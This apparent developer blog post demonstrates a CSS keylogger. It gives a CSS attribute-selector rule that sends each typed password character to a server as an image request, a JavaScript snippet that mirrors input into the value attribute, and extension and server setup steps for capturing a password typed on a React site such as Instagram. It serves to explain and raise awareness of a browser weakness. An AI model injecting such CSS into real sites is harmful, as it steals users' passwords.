CSS Keylogger

This post is based on Chrome extension and Express server that exploits keylogging abilities of CSS i.e. CSS Keylogger. Scary little attack using essentially a bunch of attribute selectors.

This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. For example, the following css will select all input’s with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("https://localhost:3000/a");
}

At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. The Demo shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

How to use

Setup Chrome extension

1. Download Zip from link given at the end of page
2. Visit chrome://extensions in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu’s icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).
3. Ensure that the Developer mode checkbox in the top right-hand corner is checked.
4. Click Load unpacked extension… to pop up a file-selection dialog.
5. Select the css-keylogger-extension in the directory which you downloaded this repository.

Setup Express server

1. yarn
2. yarn start

Haxking l33t passwords

1. Open a website that uses a controlled component framework such as React. https://instagram.com.
2. Press the extension C on the top right of any web-page.
3. Type your password.
4. Your password should be captured by the express server.

How useful and widespread is it to select inputs based on the value attribute like this? I’m not sure I would miss it if it got yanked.

Using a simple script one can create a css file that will send a custom request for every ASCII character. You can download the example From Here

Arif Khoja

Arif Khoja is a Developer. He is a Javascript Enthusiatic who loves logical programming and has first hand experience in building a cutting edge internet product using Angular. He is also an open source freak and keen about learning and sharing. He writes Javascript both frontend and backend. He loves learning and sharing tech all the time. He also has a hands on experience in SEO and writes articles about latest emerging technologies.